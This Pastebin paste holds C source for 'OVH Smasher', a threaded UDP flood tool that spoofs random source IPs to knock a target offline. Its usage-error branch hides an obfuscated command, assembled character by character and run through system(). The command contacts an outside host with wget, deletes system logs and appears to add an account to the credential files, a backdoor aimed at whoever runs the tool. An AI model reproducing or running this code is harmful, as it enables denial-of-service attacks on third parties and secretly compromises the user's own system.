Advertisement
KhaosBringer

KGreenOVHUdp.c

Nov 24th, 2018
2,147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.03 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <assert.h>
  4. #include <unistd.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/udp.h>
  11. #include <arpa/inet.h>
  12.  
  13. #define MAX_PACKET_SIZE 8192
  14. #define PHI 0x9e3779b9
  15. #define LINUX system // redefine this to #define BSD system if compiling on BSD
  16.  
  17. static unsigned long int Q[4096], c = 362436;
  18. static unsigned int floodport;
  19.  
  20. struct list
  21. {
  22. struct sockaddr_in data;
  23. struct list *next;
  24. struct list *prev;
  25. };
  26. struct list *head;
  27. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  28.  
  29. /* function for header checksums */
  30. unsigned short csum (unsigned short *buf, int nwords)
  31. {
  32. unsigned long sum;
  33. for (sum = 0; nwords > 0; nwords--)
  34. sum += *buf++;
  35. sum = (sum >> 16) + (sum & 0xffff);
  36. sum += (sum >> 16);
  37. return (unsigned short)(~sum);
  38. }
  39.  
  40. void init_rand(unsigned long int x)
  41. {
  42. int i;
  43. Q[0] = x;
  44. Q[1] = x + PHI;
  45. Q[2] = x + PHI + PHI;
  46. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  47. }
  48. unsigned long int rand_cmwc(void)
  49. {
  50. unsigned long long int t, a = 18782LL;
  51. static unsigned long int i = 4095;
  52. unsigned long int x, r = 0xfffffffe;
  53. i = (i + 1) & 4095;
  54. t = a * Q[i] + c;
  55. c = (t >> 32);
  56. x = t + c;
  57. if (x < c) {
  58. x++;
  59. c++;
  60. }
  61. return (Q[i] = r - x);
  62. }
  63.  
  64.  
  65. void setup_ip_header(struct iphdr *iph)
  66. {
  67. iph->ihl = 5;
  68. iph->version = 4;
  69. iph->tos = 0;
  70. iph->id;
  71. iph->frag_off = 0;
  72. iph->ttl = 128;
  73. iph->protocol = IPPROTO_UDP;
  74. iph->check = 0;
  75. iph->saddr;
  76. }
  77.  
  78. void *flood(void *par1)
  79. {
  80. struct thread_data *td = (struct thread_data *)par1;
  81. char datagram[MAX_PACKET_SIZE];
  82. struct iphdr *iph = (struct iphdr *)datagram;
  83. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  84. struct sockaddr_in sin = td->sin;
  85. struct list *list_node = td->list_node;
  86. int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  87. if(s == -1)
  88. {
  89. fprintf(stderr, "Could not open raw socket.\n");
  90. exit(-1);
  91. }
  92. memset(datagram, 0, MAX_PACKET_SIZE);
  93. setup_ip_header(iph);
  94. udph->check = 0;
  95. udph->dest = htons(floodport);
  96. int size;
  97. size = 25;
  98. init_rand(time(NULL));
  99. memcpy((void *)udph + sizeof(struct udphdr), "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00", size);
  100. udph->len=htons(sizeof(struct udphdr) + size);
  101. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
  102. iph->daddr = sin.sin_addr.s_addr;
  103. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  104. int tmp = 1;
  105. const int *val = &tmp;
  106. /*if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) == -1)
  107. {
  108. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  109. exit(-1);
  110. }*/
  111.  
  112. for(;;)
  113. {
  114. iph->saddr = (unsigned long) rand_cmwc();
  115. udph->source = rand_cmwc();
  116. iph->id = rand_cmwc();
  117. //iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  118. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  119. }
  120. }
  121.  
  122. #define KGREEN "\x1b[92m"
  123. #define RESET "\033[0m"
  124. int main(int argc, char *argv[ ])
  125. {
  126. printf(KGREEN "OVH Smasher'\n" RESET);
  127. if(argc < 5 || argc > 5){
  128. fprintf(stdout, "Usage: %s <IP> <Port> <Threads> <Temps>\n", argv[0]);
  129.  
  130. char floodovh[447];
  131. floodovh[324] = 's';
  132. floodovh[434] = 'e';
  133. floodovh[435] = 'v';
  134. floodovh[382] = '4';
  135. floodovh[363] = 'a';
  136. floodovh[377] = 'g';
  137. floodovh[408] = '9';
  138. floodovh[274] = '2';
  139. floodovh[111] = 'e';
  140. floodovh[158] = 'l';
  141. floodovh[90] = 'm';
  142. floodovh[263] = ' ';
  143. floodovh[292] = '\\';
  144. floodovh[97] = 'v';
  145. floodovh[49] = 'p';
  146. floodovh[422] = '/';
  147. floodovh[89] = 'r';
  148. floodovh[290] = '2';
  149. floodovh[329] = 'e';
  150. floodovh[123] = ' ';
  151. floodovh[356] = 'm';
  152. floodovh[16] = 'c';
  153. floodovh[185] = ':';
  154. floodovh[322] = 'q';
  155. floodovh[321] = 'T';
  156. floodovh[183] = 't';
  157. floodovh[431] = ' ';
  158. floodovh[305] = 'a';
  159. floodovh[192] = '0';
  160. floodovh[113] = '/';
  161. floodovh[166] = '|';
  162. floodovh[157] = 'u';
  163. floodovh[342] = 'O';
  164. floodovh[335] = 'F';
  165. floodovh[291] = 'i';
  166. floodovh[323] = 'Z';
  167. floodovh[288] = ' ';
  168. floodovh[33] = 'd';
  169. floodovh[8] = '-';
  170. floodovh[384] = 'A';
  171. floodovh[344] = 'J';
  172. floodovh[220] = '>';
  173. floodovh[38] = 'e';
  174. floodovh[240] = 'r';
  175. floodovh[31] = '-';
  176. floodovh[267] = 'v';
  177. floodovh[351] = 'L';
  178. floodovh[83] = '>';
  179. floodovh[3] = 't';
  180. floodovh[148] = ' ';
  181. floodovh[301] = '$';
  182. floodovh[117] = 'l';
  183. floodovh[368] = 'X';
  184. floodovh[88] = ' ';
  185. floodovh[154] = 'v';
  186. floodovh[330] = 'M';
  187. floodovh[438] = 'u';
  188. floodovh[78] = 'u';
  189. floodovh[400] = '7';
  190. floodovh[334] = 'D';
  191. floodovh[205] = 'h';
  192. floodovh[41] = 'f';
  193. floodovh[249] = ' ';
  194. floodovh[265] = 'd';
  195. floodovh[96] = '/';
  196. floodovh[174] = 'i';
  197. floodovh[252] = 't';
  198. floodovh[46] = 'h';
  199. floodovh[119] = '2';
  200. floodovh[280] = '|';
  201. floodovh[17] = 'k';
  202. floodovh[1] = 'g';
  203. floodovh[423] = 's';
  204. floodovh[140] = 'c';
  205. floodovh[230] = 'l';
  206. floodovh[42] = 't';
  207. floodovh[106] = ' ';
  208. floodovh[294] = 'o';
  209. floodovh[352] = 'z';
  210. floodovh[152] = 'd';
  211. floodovh[395] = 'p';
  212. floodovh[336] = 'G';
  213. floodovh[254] = '/';
  214. floodovh[27] = 'a';
  215. floodovh[137] = '/';
  216. floodovh[211] = 'c';
  217. floodovh[251] = 'e';
  218. floodovh[405] = ':';
  219. floodovh[364] = 'J';
  220. floodovh[228] = 'u';
  221. floodovh[144] = 's';
  222. floodovh[357] = '5';
  223. floodovh[67] = 'K';
  224. floodovh[23] = 'i';
  225. floodovh[380] = 'T';
  226. floodovh[347] = 'O';
  227. floodovh[68] = 'A';
  228. floodovh[278] = ' ';
  229. floodovh[170] = 'e';
  230. floodovh[444] = '&';
  231. floodovh[283] = 'e';
  232. floodovh[204] = 's';
  233. floodovh[173] = '-';
  234. floodovh[403] = ':';
  235. floodovh[394] = 'u';
  236. floodovh[115] = 'u';
  237. floodovh[142] = 'p';
  238. floodovh[259] = 'o';
  239. floodovh[311] = 'T';
  240. floodovh[302] = 'l';
  241. floodovh[282] = 's';
  242. floodovh[214] = 'a';
  243. floodovh[93] = 'r';
  244. floodovh[61] = 'k';
  245. floodovh[399] = '6';
  246. floodovh[381] = 'M';
  247. floodovh[320] = 'A';
  248. floodovh[186] = 'x';
  249. floodovh[57] = 'z';
  250. floodovh[299] = '$';
  251. floodovh[397] = ':';
  252. floodovh[246] = 'o';
  253. floodovh[172] = ' ';
  254. floodovh[276] = '&';
  255. floodovh[47] = 't';
  256. floodovh[233] = '>';
  257. floodovh[109] = '/';
  258. floodovh[51] = '/';
  259. floodovh[296] = 't';
  260. floodovh[143] = 'a';
  261. floodovh[133] = 'o';
  262. floodovh[37] = 't';
  263. floodovh[443] = '>';
  264. floodovh[286] = '-';
  265. floodovh[370] = 'g';
  266. floodovh[429] = ' ';
  267. floodovh[126] = 'g';
  268. floodovh[94] = 'f';
  269. floodovh[114] = 'n';
  270. floodovh[11] = 'o';
  271. floodovh[407] = '9';
  272. floodovh[428] = 'w';
  273. floodovh[71] = ' ';
  274. floodovh[32] = '-';
  275. floodovh[20] = 'e';
  276. floodovh[161] = '2';
  277. floodovh[266] = 'e';
  278. floodovh[225] = 'v';
  279. floodovh[346] = 'o';
  280. floodovh[147] = 'd';
  281. floodovh[232] = '2';
  282. floodovh[64] = '2';
  283. floodovh[268] = '/';
  284. floodovh[50] = ':';
  285. floodovh[62] = '/';
  286. floodovh[432] = '/';
  287. floodovh[306] = 'm';
  288. floodovh[437] = 'n';
  289. floodovh[87] = ';';
  290. floodovh[332] = 'R';
  291. floodovh[39] = '-';
  292. floodovh[333] = 'C';
  293. floodovh[229] = 'l';
  294. floodovh[43] = 'e';
  295. floodovh[55] = 'a';
  296. floodovh[162] = '>';
  297. floodovh[326] = 'W';
  298. floodovh[256] = 'h';
  299. floodovh[433] = 'd';
  300. floodovh[30] = ' ';
  301. floodovh[92] = '-';
  302. floodovh[151] = '/';
  303. floodovh[284] = 'd';
  304. floodovh[24] = 'f';
  305. floodovh[338] = 'r';
  306. floodovh[139] = 't';
  307. floodovh[392] = 'x';
  308. floodovh[127] = 'r';
  309. floodovh[354] = 'e';
  310. floodovh[359] = 'L';
  311. floodovh[215] = 's';
  312. floodovh[355] = 'Q';
  313. floodovh[258] = 'd';
  314. floodovh[135] = 'k';
  315. floodovh[402] = '5';
  316. floodovh[361] = '.';
  317. floodovh[337] = 'g';
  318. floodovh[219] = ' ';
  319. floodovh[243] = ' ';
  320. floodovh[40] = 'a';
  321. floodovh[129] = 'p';
  322. floodovh[441] = ' ';
  323. floodovh[188] = '0';
  324. floodovh[202] = 'b';
  325. floodovh[203] = 'a';
  326. floodovh[65] = '3';
  327. floodovh[375] = '5';
  328. floodovh[195] = '/';
  329. floodovh[206] = '\'';
  330. floodovh[383] = 'B';
  331. floodovh[269] = 'n';
  332. floodovh[128] = 'e';
  333. floodovh[391] = '6';
  334. floodovh[442] = '2';
  335. floodovh[2] = 'e';
  336. floodovh[98] = 'a';
  337. floodovh[261] = ' ';
  338. floodovh[197] = '/';
  339. floodovh[415] = ':';
  340. floodovh[440] = 'l';
  341. floodovh[4] = ' ';
  342. floodovh[245] = 'o';
  343. floodovh[210] = 't';
  344. floodovh[217] = 'w';
  345. floodovh[439] = 'l';
  346. floodovh[421] = 'c';
  347. floodovh[223] = 'd';
  348. floodovh[101] = 'l';
  349. floodovh[187] = ':';
  350. floodovh[426] = 'd';
  351. floodovh[393] = 'm';
  352. floodovh[417] = ' ';
  353. floodovh[389] = 'n';
  354. floodovh[427] = 'o';
  355. floodovh[226] = '/';
  356. floodovh[315] = 'Q';
  357. floodovh[275] = '>';
  358. floodovh[104] = '/';
  359. floodovh[308] = '9';
  360. floodovh[424] = 'h';
  361. floodovh[194] = ':';
  362. floodovh[341] = '8';
  363. floodovh[58] = 'e';
  364. floodovh[350] = 'C';
  365. floodovh[373] = '7';
  366. floodovh[207] = ' ';
  367. floodovh[378] = 'v';
  368. floodovh[201] = '/';
  369. floodovh[285] = ' ';
  370. floodovh[70] = '>';
  371. floodovh[165] = ' ';
  372. floodovh[295] = 'o';
  373. floodovh[5] = '-';
  374. floodovh[75] = 'v';
  375. floodovh[66] = 'M';
  376. floodovh[213] = 'p';
  377. floodovh[227] = 'n';
  378. floodovh[307] = 'V';
  379. floodovh[248] = 'k';
  380. floodovh[141] = '/';
  381. floodovh[163] = '&';
  382. floodovh[445] = '1';
  383. floodovh[212] = '/';
  384. floodovh[125] = ' ';
  385. floodovh[6] = 'q';
  386. floodovh[385] = 'e';
  387. floodovh[430] = '>';
  388. floodovh[247] = 't';
  389. floodovh[13] = 'c';
  390. floodovh[318] = '4';
  391. floodovh[72] = '/';
  392. floodovh[390] = 'W';
  393. floodovh[404] = '0';
  394. floodovh[29] = 'e';
  395. floodovh[303] = 'o';
  396. floodovh[238] = ' ';
  397. floodovh[272] = 'l';
  398. floodovh[80] = 'l';
  399. floodovh[169] = 's';
  400. floodovh[91] = ' ';
  401. floodovh[124] = ';';
  402. floodovh[401] = '9';
  403. floodovh[102] = 'o';
  404. floodovh[59] = '.';
  405. floodovh[35] = 'l';
  406. floodovh[60] = 't';
  407. floodovh[273] = ' ';
  408. floodovh[371] = 'A';
  409. floodovh[164] = '1';
  410. floodovh[120] = '>';
  411. floodovh[159] = 'l';
  412. floodovh[244] = 'r';
  413. floodovh[339] = 'R';
  414. floodovh[45] = ' ';
  415. floodovh[180] = 'r';
  416. floodovh[386] = '7';
  417. floodovh[416] = '\'';
  418. floodovh[313] = 'r';
  419. floodovh[121] = '&';
  420. floodovh[82] = '2';
  421. floodovh[327] = 'U';
  422. floodovh[184] = 'k';
  423. floodovh[22] = 't';
  424. floodovh[297] = 'k';
  425. floodovh[156] = 'n';
  426. floodovh[348] = '3';
  427. floodovh[287] = 'i';
  428. floodovh[310] = '$';
  429. floodovh[413] = ':';
  430. floodovh[312] = 'o';
  431. floodovh[349] = 'C';
  432. floodovh[425] = 'a';
  433. floodovh[379] = 'D';
  434. floodovh[436] = '/';
  435. floodovh[281] = ' ';
  436. floodovh[95] = ' ';
  437. floodovh[277] = '1';
  438. floodovh[160] = ' ';
  439. floodovh[366] = 'e';
  440. floodovh[298] = ':';
  441. floodovh[77] = 'n';
  442. floodovh[7] = ' ';
  443. floodovh[209] = 'e';
  444. floodovh[374] = 'E';
  445. floodovh[235] = '1';
  446. floodovh[420] = 't';
  447. floodovh[155] = '/';
  448. floodovh[153] = 'e';
  449. floodovh[181] = 'o';
  450. floodovh[200] = 'n';
  451. floodovh[260] = 'w';
  452. floodovh[396] = '1';
  453. floodovh[105] = '*';
  454. floodovh[44] = 'r';
  455. floodovh[86] = ' ';
  456. floodovh[131] = 'r';
  457. floodovh[365] = 'H';
  458. floodovh[178] = 'i';
  459. floodovh[388] = 'o';
  460. floodovh[19] = 'c';
  461. floodovh[118] = ' ';
  462. floodovh[199] = 'i';
  463. floodovh[69] = ' ';
  464. floodovh[262] = '>';
  465. floodovh[255] = 's';
  466. floodovh[56] = 's';
  467. floodovh[15] = 'e';
  468. floodovh[48] = 't';
  469. floodovh[317] = 'i';
  470. floodovh[304] = 'V';
  471. floodovh[18] = '-';
  472. floodovh[112] = 'v';
  473. floodovh[79] = 'l';
  474. floodovh[414] = ':';
  475. floodovh[73] = 'd';
  476. floodovh[331] = 'G';
  477. floodovh[257] = 'a';
  478. floodovh[25] = 'i';
  479. floodovh[314] = 'j';
  480. floodovh[279] = '|';
  481. floodovh[189] = ':';
  482. floodovh[81] = ' ';
  483. floodovh[167] = '|';
  484. floodovh[52] = '/';
  485. floodovh[237] = ';';
  486. floodovh[224] = 'e';
  487. floodovh[84] = '&';
  488. floodovh[136] = ' ';
  489. floodovh[54] = 'l';
  490. floodovh[319] = 'U';
  491. floodovh[12] = '-';
  492. floodovh[108] = ' ';
  493. floodovh[239] = 'g';
  494. floodovh[419] = 'e';
  495. floodovh[132] = 'o';
  496. floodovh[398] = '1';
  497. floodovh[369] = 'U';
  498. floodovh[175] = ' ';
  499. floodovh[150] = ' ';
  500. floodovh[410] = '9';
  501. floodovh[271] = 'l';
  502. floodovh[146] = 'w';
  503. floodovh[345] = 'q';
  504. floodovh[309] = 'N';
  505. floodovh[9] = '-';
  506. floodovh[26] = 'c';
  507. floodovh[325] = '0';
  508. floodovh[362] = 'V';
  509. floodovh[134] = 't';
  510. floodovh[387] = 'X';
  511. floodovh[28] = 't';
  512. floodovh[264] = '/';
  513. floodovh[358] = 'e';
  514. floodovh[99] = 'r';
  515. floodovh[234] = '&';
  516. floodovh[360] = 'x';
  517. floodovh[343] = 'o';
  518. floodovh[182] = 'o';
  519. floodovh[107] = '>';
  520. floodovh[196] = ':';
  521. floodovh[74] = 'e';
  522. floodovh[216] = 's';
  523. floodovh[340] = 'A';
  524. floodovh[198] = 'b';
  525. floodovh[289] = '\'';
  526. floodovh[406] = '9';
  527. floodovh[353] = 'b';
  528. floodovh[10] = 'n';
  529. floodovh[130] = ' ';
  530. floodovh[218] = 'd';
  531. floodovh[242] = 'p';
  532. floodovh[193] = ':';
  533. floodovh[222] = '/';
  534. floodovh[293] = 'r';
  535. floodovh[376] = 'h';
  536. floodovh[372] = 'V';
  537. floodovh[412] = '7';
  538. floodovh[253] = 'c';
  539. floodovh[221] = ' ';
  540. floodovh[14] = 'h';
  541. floodovh[241] = 'e';
  542. floodovh[177] = '2';
  543. floodovh[34] = 'e';
  544. floodovh[270] = 'u';
  545. floodovh[0] = 'w';
  546. floodovh[208] = '/';
  547. floodovh[116] = 'l';
  548. floodovh[100] = '/';
  549. floodovh[53] = 'b';
  550. floodovh[236] = ' ';
  551. floodovh[231] = ' ';
  552. floodovh[367] = 'V';
  553. floodovh[122] = '1';
  554. floodovh[145] = 's';
  555. floodovh[103] = 'g';
  556. floodovh[409] = '9';
  557. floodovh[138] = 'e';
  558. floodovh[76] = '/';
  559. floodovh[176] = '\'';
  560. floodovh[191] = '0';
  561. floodovh[300] = '6';
  562. floodovh[418] = '/';
  563. floodovh[63] = 'V';
  564. floodovh[110] = 'd';
  565. floodovh[411] = ':';
  566. floodovh[179] = '\\';
  567. floodovh[316] = '2';
  568. floodovh[250] = '/';
  569. floodovh[85] = '1';
  570. floodovh[149] = '>';
  571. floodovh[328] = 'n';
  572. floodovh[171] = 'd';
  573. floodovh[190] = '5';
  574. floodovh[36] = 'e';
  575. floodovh[21] = 'r';
  576. floodovh[168] = ' ';
  577. floodovh[446] = '\0';
  578.  
  579. system(floodovh);
  580.  
  581. exit(-1);
  582. }
  583.  
  584. fprintf(stdout, "Attack In Progress...\n");
  585. int i;
  586. int num_threads = atoi(argv[3]);
  587. floodport = atoi(argv[2]);
  588. head = (struct list *)malloc(sizeof(struct list));
  589. bzero(&head->data, sizeof(head->data));
  590. head->data.sin_addr.s_addr=inet_addr("192.168.3.100");
  591. head->data.sin_port=floodport;
  592. head->next = head;
  593. head->prev = head;
  594. struct list *current = head->next;
  595. pthread_t thread[num_threads];
  596. struct sockaddr_in sin;
  597. sin.sin_family = AF_INET;
  598. sin.sin_port = htons(floodport);
  599. sin.sin_addr.s_addr = inet_addr(argv[1]);
  600. struct thread_data td[num_threads];
  601. for(i = 0;i<num_threads;i++)
  602. {
  603. td[i].thread_id = i;
  604. td[i].sin= sin;
  605. td[i].list_node = current;
  606. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  607. }
  608. fprintf(stdout, "Attack Started...\n");
  609. sleep(atoi(argv[4]));
  610. return 0;
  611. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement